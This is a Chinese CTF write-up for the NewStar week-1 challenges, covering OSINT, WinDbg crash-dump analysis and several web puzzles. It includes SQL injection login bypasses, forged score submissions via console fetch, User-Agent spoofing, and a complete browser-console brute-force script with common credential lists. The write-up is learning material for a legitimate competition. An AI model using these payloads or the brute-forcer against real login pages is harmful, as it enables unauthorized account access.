-FKZ- WriteUp
newstar の writeup
Misc
OSINT-天空belong
经典找地点题目……下载图片,利用系统自带软件查看图片的附带信息,可以查到拍摄厂商是xiaomi,根据拍摄日期和图中的飞机编号可以在flightero.***网站上查找到那一天的该航班UQ3574,得知从济南到长沙,结合flightero上的航线图试出城市是武汉
我不要革命失败
(蓝屏原因破解?很早以前就有过类似的想法了……也对机哥毛病挺好奇的…)
网上查找得知分析dmp转储文件是要用到winDbg,了解相关流程以后直接操作,使用!analyze -v进行自动分析,得知蓝屏原因是CRITICAL_PROCESS_DIED并且获得了蓝屏代码0xef和错误故障进程名,看起来一切顺利,然而一直改格式提交都是错的。。。经过反思怀疑是进程名不对(这里是一个诡异的很长的名字“ntoskrnl.wrong.symbols.exe”)。
windbg中抛出NT symbols are incorrect, please fix symbols,没有有关知识,将结果喂给GPT分析,得知存在符号加载错误的问题,导致依赖内核符号的命令!process失败,所以自动分析中显示的错误进程名不对。
解决办法:
通过网上查找和询问GPT,了解到需要从微软预缓存好符号,再重新重载内核,操作如下:
先在管理员 CMD 建个本地缓存目录
md C:\Symbols然后在 WinDbg里运行:
.symfix 符号路径设为微软符号服务器的默认 .sympath SRV*C:\Symbols*https://msdl.microsoft.***/download/symbols 用于指定本地缓存 .reload /f nt 重新加载内核nt lmv nt 用来检查 nt 模块的符号是否真正加载不得不说符号下载真的等了很久:(
之后再运行!process 0 0终于得到正确的进程名字svchost.exe.
虽然这次强大的GPT两巴掌秒了……但是了解为什么进程名会错真的花了很长时间:)
Web
strange_login
比较简单,一开始以为是弱口令登陆,尝试了常见的组合发现不行,题目说什么1=1,突然想到之前在B站看到过的sql注入,原理是利用sql结构查询语句在用户名字段通过正则表达式绕过密码,为了验证猜想,我决定试试用sql语法的注释语法##消掉password的查询,测试在用户名输入admin' ##,成功!应该admin' OR 1=1 --也是可以的。
除了天空belong最简单的一题
multi-headach3
初看毫无头绪,什么头疼?思考了很久,当作脑筋急转弯询问GPT
GPT:
脑筋急转弯
网页上写着 “ROBOTS is protecting this website!”,可为什么我总觉得头被敲了好几下,头好痛?
答案:
因为你忘了放 .txt —— 真正“保护”网站的是 robots.txt,没有它,机器人一直在门口“叩门”(不停来访),把你敲醒了!
解释:
把 “ROBOTS” 想成门口的机器人巡逻队;没有 robots.txt 指令,爬虫/机器人不会知道该怎么办,就一直试探性地来,像有人不停敲门 — 所以“头被敲痛”。
GPT说机器人可能和网站提供给爬虫规范的robots.txt有关,于是测试在url后面加/robots.txt,响应页面里提供了一个路径:hidden.php,于是到了新地方卡着。。。
头疼头疼…标签页里说:
And why you are here again and again?
Trust me, hidden page is not as simple as you think.
貌似什么信息都没有提供……
为了寻找更多信息打开了开发者工具查看网页的源代码(就是很简单的txt),当看到网络栏目时发现了华点:
我输入的路径是hidden.php,然而现在却是index.php的初始界面,说明网页跳转了,于是我开着控制台监视请求,重新加载hidden.php,结果就这么在控制台看到了hidden .php的响应…查看发现flag就在hidden.php的响应标头,结束。
宇宙的中心是php
这道题还是水课时那手机做的……
工具:X浏览器
打开开发者工具,网页元素中可以看到…
嗯,对,大抵就是直接有路径。进入这个神奇的s3kret.php
呃……分析得知通过传输特定get参数newstar2025来获取flag。
这个表达式太复杂,怎么办?当然是让d老师来分析啦……(咕咕咕)
请输入文本
ai太好用了你知道吗
浏览器控制台传参:newstar2025=057
代码:
(async function() {
try {
let response = await fetch('http://.../s3kret.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'newstar2025=057'
});
let result = await response.text();
console.log("=== 服务器响应 ===");
console.log(result);
console.log("=================");
} catch(error) {
console.error("错误:", error);
}
})();
通过post向服务器传参,在响应中得到flag,结束。.
别笑,你也过不了第二关
极具调戏意味的题目……
第一关过不去的真神人了……直接第二关
第二关能过去的也是神人。
查看网页代码,发现提交方式是通过post向flag.php发送分数,那么在控制台就可以fetch提交:
fetch("/flag.php", {method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}, body: new URLSearchParams({score: "1000000"}).toString()}).then(r=>r.text()).then(t=>console.log(t)).catch(e=>console.error(e));
然后就可以在控制台直接看到返回的flag{}。ez
我真得控制你了
何意味……
启动按钮有一个屏蔽层,f12开发者工具还被ban了?
但是,浏览器右上角三个点可以手动打开()
打开之后仍然有禁止提示,不过现在可以看到代码了, 喂给GPT分析得知屏蔽层由元素shield控制,而这个元素是可以直接删除的(?!
不过有开发工具静止提示存在,当务之急是解决提示层,再删除屏蔽层。
将源码有关禁用开发者工具的判断部分发给GPT分析,得知通过禁用快捷键,检测页面大小实现禁用,于是将开发者工具变成浮窗,成功躲过检测,再在元素那里删除按钮遮罩层,进入下一关(其实也可以右键直接删除)。
弱口令登陆?
尝试一下
admin:123456
admin12345678
zdmin:password
…
过去了一百年,直到在网上找到了一个弱密码测试工具
// == 弱密码测试工具 ==
(function() {
// 常见CTF用户名列表
const usernames = [
"admin", "root", "guest", "test", "user", "administrator",
"ctf", "flag", "hacker", "john", "alice", "bob", "manager",
"api", "service", "dev", "oracle", "mysql", "ftp", "www-data",
"backup", "info", "system", "support", "nas", "pi", "ubnt"
];
// 常见CTF弱密码列表
const passwords = [
"123456", "password", "12345678", "qwerty", "123456789",
"12345", "1234", "111111", "1234567", "admin", "123123",
"admin123", "Password1", "wel***e", "monkey", "letmein",
"shadow", "master", "666666", "1234567890", "password1",
"123456a", "test", "guest", "root", "passw0rd", "p@ssw0rd",
"p@55w0rd", "admin@123", "hello123", "changeme", "secret",
"flag", "ctf", "NULL", "", "123", "123qwe", "abc123",
"qwer1234", "1q2w3e4r", "1qaz2wsx", "qazwsx", "zaq1zaq1",
"baseball", "football", "iloveyou", "trustno1", "sunshine",
"princess", "donald", "harley", "george", "thomas", "matrix",
"jordan", "superman", "batman", "starwars", "hello", "freedom",
"whatever", "ninja", "mustang", "corvette", "cherokee",
"dragon", "***puter", "inter***", "cookie", "picture",
"password123", "wel***e123", "login", "pass", "a***ess",
"!@#$%^&*", "default", "solo", "fuckyou", "hunter", "jennifer",
"buster", "so***er", "harley", "andrew", "tigger", "pokemon",
"1234qwer", "pass123", "test123", "admin1", "blink182"
];
// 配置选项
const config = {
targetUrl: window.location.href, // 当前页面URL
delay: 500, // 请求间隔(ms)
maxAttempts: 1000, // 最大尝试次数
stopOnSu***ess: true, // 发现有效凭证后是否停止
verbose: true // 显示详细信息
};
// 创建UI界面
function createUI() {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 20px;
right: 20px;
width: 400px;
background: #1a1a1a;
color: #00ff00;
border: 2px solid #00ff00;
border-radius: 5px;
font-family: monospace;
z-index: 10000;
padding: 10px;
max-height: 500px;
overflow-y: auto;
box-shadow: 0 0 10px rgba(0,255,0,0.5);
`;
const title = document.createElement('h3');
title.textContent = 'CTF弱密码测试工具';
title.style.cssText = 'margin-top: 0; border-bottom: 1px solid #00ff00; padding-bottom: 5px;';
overlay.appendChild(title);
const status = document.createElement('div');
status.id = 'ctf-status';
status.textContent = '就绪 - 点击开始按钮';
overlay.appendChild(status);
const progress = document.createElement('div');
progress.id = 'ctf-progress';
progress.style.cssText = 'margin: 10px 0;';
overlay.appendChild(progress);
const results = document.createElement('div');
results.id = 'ctf-results';
results.style.cssText = 'font-size: 12px; max-height: 300px; overflow-y: auto;';
overlay.appendChild(results);
const controls = document.createElement('div');
controls.style.cssText = 'margin-top: 10px; display: flex; gap: 10px;';
const startBtn = document.createElement('button');
startBtn.textContent = '开始测试';
startBtn.style.cssText = 'flex: 1; background: #00aa00; color: white; border: none; padding: 5px; cursor: pointer;';
const stopBtn = document.createElement('button');
stopBtn.textContent = '停止测试';
stopBtn.style.cssText = 'flex: 1; background: #aa0000; color: white; border: none; padding: 5px; cursor: pointer;';
controls.appendChild(startBtn);
controls.appendChild(stopBtn);
overlay.appendChild(controls);
document.body.appendChild(overlay);
return { startBtn, stopBtn, status, progress, results };
}
// 更新状态
function updateStatus(text, element) {
element.textContent = text;
console.log(text);
}
// 添加结果
function addResult(text, element, isSu***ess = false) {
const resultLine = document.createElement('div');
resultLine.textContent = text;
resultLine.style.color = isSu***ess ? '#00ff00' : '#*********';
resultLine.style.margin = '2px 0';
element.appendChild(resultLine);
element.scrollTop = element.scrollHeight;
}
// 查找登录表单
function findLoginForm() {
const forms = document.querySelectorAll('form');
let loginForm = null;
let usernameField = null;
let passwordField = null;
for (const form of forms) {
// 查找包含密码字段的表单
const passwordInputs = form.querySelectorAll('input[type="password"]');
if (passwordInputs.length > 0) {
loginForm = form;
passwordField = passwordInputs[0];
// 查找可能的用户名字段
const textInputs = form.querySelectorAll('input[type="text"], input[type="email"], input:not([type])');
if (textInputs.length > 0) {
usernameField = textInputs[0];
} else {
// 如果没有找到文本输入框,尝试通过名称猜测
const inputs = form.querySelectorAll('input');
for (const input of inputs) {
const name = (input.name || '').toLowerCase();
if (name.includes('user') || name.includes('name') || name.includes('login')) {
usernameField = input;
break;
}
}
}
break;
}
}
return { loginForm, usernameField, passwordField };
}
// 测试凭证
async function testCredentials(username, password, loginForm, usernameField, passwordField) {
return new Promise((resolve) => {
// 克隆表单以避免影响页面状态
const formClone = loginForm.cloneNode(true);
const userFieldClone = formClone.querySelector(`input[name="${usernameField.name}"]`) ||
formClone.querySelector('input[type="text"]');
const passFieldClone = formClone.querySelector(`input[name="${passwordField.name}"]`) ||
formClone.querySelector('input[type="password"]');
if (!userFieldClone || !passFieldClone) {
resolve({ su***ess: false, error: '无法找到表单字段' });
return;
}
// 设置凭证
userFieldClone.value = username;
passFieldClone.value = password;
// 创建表单数据
const formData = new FormData(formClone);
// 发送请求
fetch(loginForm.action || window.location.href, {
method: loginForm.method || 'POST',
body: formData,
credentials: 'include' // 包含cookies
})
.then(response => {
// 检查响应 - 简单逻辑:如果状态码不是200或包含错误消息,则失败
if (response.status === 200) {
return response.text().then(text => {
// 检查响应文本中是否包含常见错误提示
const errorIndicators = ['invalid', 'error', 'incorrect', 'fail', 'wrong'];
const hasError = errorIndicators.some(indicator =>
text.toLowerCase().includes(indicator)
);
// 检查是否有成功指示器
const su***essIndicators = ['su***ess', 'wel***e', 'dashboard', 'logout'];
const hasSu***ess = su***essIndicators.some(indicator =>
text.toLowerCase().includes(indicator)
);
resolve({
su***ess: !hasError || hasSu***ess,
status: response.status,
redirected: response.redirected,
url: response.url
});
});
} else if (response.status === 302 || response.redirected) {
// 重定向可能表示登录成功
resolve({
su***ess: true,
status: response.status,
redirected: true,
url: response.url
});
} else {
resolve({
su***ess: false,
status: response.status
});
}
})
.catch(error => {
resolve({
su***ess: false,
error: error.message
});
});
});
}
// 主函数
async function startTesting(ui) {
const { status, progress, results } = ui;
updateStatus('正在查找登录表单...', status);
const { loginForm, usernameField, passwordField } = findLoginForm();
if (!loginForm || !usernameField || !passwordField) {
updateStatus('错误: 未找到登录表单或表单字段', status);
return;
}
updateStatus(`找到登录表单: ${loginForm.action || '当前页面'}`, status);
addResult(`用户名字段: ${usernameField.name || '未命名'}`, results);
addResult(`密码字段: ${passwordField.name || '未命名'}`, results);
let attempts = 0;
let su***esses = 0;
// 测试所有组合
for (const username of usernames) {
for (const password of passwords) {
if (attempts >= config.maxAttempts) {
updateStatus(`达到最大尝试次数: ${config.maxAttempts}`, status);
return;
}
attempts++;
updateStatus(`尝试 ${attempts}/${usernames.length * passwords.length}: ${username} / ${password}`, status);
// 更新进度
progress.textContent = `进度: ${attempts}/${usernames.length * passwords.length} | 成功: ${su***esses}`;
try {
const result = await testCredentials(username, password, loginForm, usernameField, passwordField);
if (result.su***ess) {
su***esses++;
addResult(`✓ 成功: ${username} / ${password} (状态: ${result.status})`, results, true);
if (config.stopOnSu***ess) {
updateStatus(`发现有效凭证! 停止测试。`, status);
return;
}
} else {
if (config.verbose) {
addResult(`✗ 失败: ${username} / ${password}`, results);
}
}
} catch (error) {
addResult(`错误: ${username} / ${password} - ${error.message}`, results);
}
// 延迟
await new Promise(resolve => setTimeout(resolve, config.delay));
}
}
updateStatus(`测试完成! 尝试: ${attempts}, 成功: ${su***esses}`, status);
}
// 初始化
console.log('CTF弱密码测试工具已加载');
console.log('使用方法:');
console.log('1. 导航到目标登录页面');
console.log('2. 打开开发者工具(F12)');
console.log('3. 粘贴此代码到控制台并执行');
const ui = createUI();
let testing = false;
let currentTest = null;
ui.startBtn.addEventListener('click', () => {
if (!testing) {
testing = true;
ui.results.innerHTML = '';
currentTest = startTesting(ui);
}
});
ui.stopBtn.addEventListener('click', () => {
if (testing) {
testing = false;
updateStatus('测试已停止', ui.status);
}
});
// 添加键盘快捷键
document.addEventListener('keydown', (e) => {
if (e.ctrlKey && e.key === 'q') {
if (!testing) {
ui.startBtn.click();
} else {
ui.stopBtn.click();
}
}
});
console.log('提示: 使用 Ctrl+Q 开始/停止测试');
})();
测出来是admin:111111(确实很弱)
进入下一关
源码给出来了,又是正则表达式,传递参数newstar不能只有数字和空格,也就是说要通过传入一个计算式使newstar的值为2025,很简单,newstar=2025*1过了,当然理论上这些都可以:
2025/1
45*45
4050/2
…
只要结果是2025就行,搞定!
黑客小W的故事(1)
最难的一个……和蘑菇聊了好久。。。
谁这么喜欢玩空洞骑士
第一关,打jiou,话说jiou是什么?
提示让我们去抓包,而手上没有抓包软件,直接抓包太麻烦了,先看代码,发现提交分数就是简单的一个fetch
fetch('/hunt', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Cookie': document.cookie
},
body: JSON.stringify({ "count": 1})
})
复制粘贴到控制台,将参数count改为一个很大的数(具体多大不知道,我用了9999999999过了)返回中可以找到一个url地址,路径是htp://../Level2_mato于是来到下一关。
第二关:马托大师
极致的折磨,和蘑菇聊了一下午
根据提示,url传入参数?shipin=mogubaozi,然后知道要通过post提交我们的请求guding,在控制台输入:
const form = document.createElement("form");
form.method = "POST";
form.action = "https://.../talkToMushroom?shipin=mogubaozi";
const input = document.createElement("input");
input.type = "hidden";
input.name = "text";
input.value = "guding";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
告诉蘑菇我们要骨钉,然后蘑菇果然提出了要求:
用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你
百度了一下,大概就是通过http的DELETE请求删除虫子,控制台输入如下代码:
fetch("https://eci-2zeamqxnn9kkyfk8z5nm.cloudeci1.ichunqiu.***:8000/talkToMushroom?shipin=mogubaozi", {
method: "DELETE",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "chongzi=remove"
})
.then(r => r.text())
.then(html => {
// 让浏览器当作 HTML 渲染
document.open();
document.write(html);
document.close();
});
然后再输入上面的代码post骨钉
const form = document.createElement("form");
form.method = "POST";
form.action = "https://.../talkToMushroom?shipin=mogubaozi";
const input = document.createElement("input");
input.type = "hidden";
input.name = "text";
input.value = "guding";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
//一样的
蘑菇给了下一关地址/Level2_END
然后就是来到了席奥家(这人谁啊)
这一关的提示比较明显,经过百度user-agent是浏览器身份证一样的东西,标明了不同的用户的浏览器名字、版本巴拉巴拉的,重要的就是这里,可以利用user-agent告诉席奥我们会旋风斩(CycloneSlash),问题的难点在于这个user-agent怎么改。
AI真是太好用了你知道吗
嗯对,在GPT的指导下我发现了如何修改这个user-agent条目,在开发者工具中的 ”–>网络–>网络条件’ 处有个用户代理条目
取消默认,写为旋风斩CycloneSlash/1.0
为什么后面要加“/1.0”呢?
网络查找得知,这样的后缀通常是 User-Agent 字符串的一部分,用于标识特定的版本号。虽然这个不是必须的,事实证明写上是有好处的(),因为…
容易想到提高版本,于是改为CycloneSlash/2.0
然后……
还需要冲锋斩DashSlash/1.0
了解到可以同时传入多个参数,方法是用,隔开,于是…
ez,提高dashslash的版本为/2.0
可恶啊,直接上强度
拿下!(细节暗广)
然后就获得了flag
结束,目前就做了这么多,web week1 ak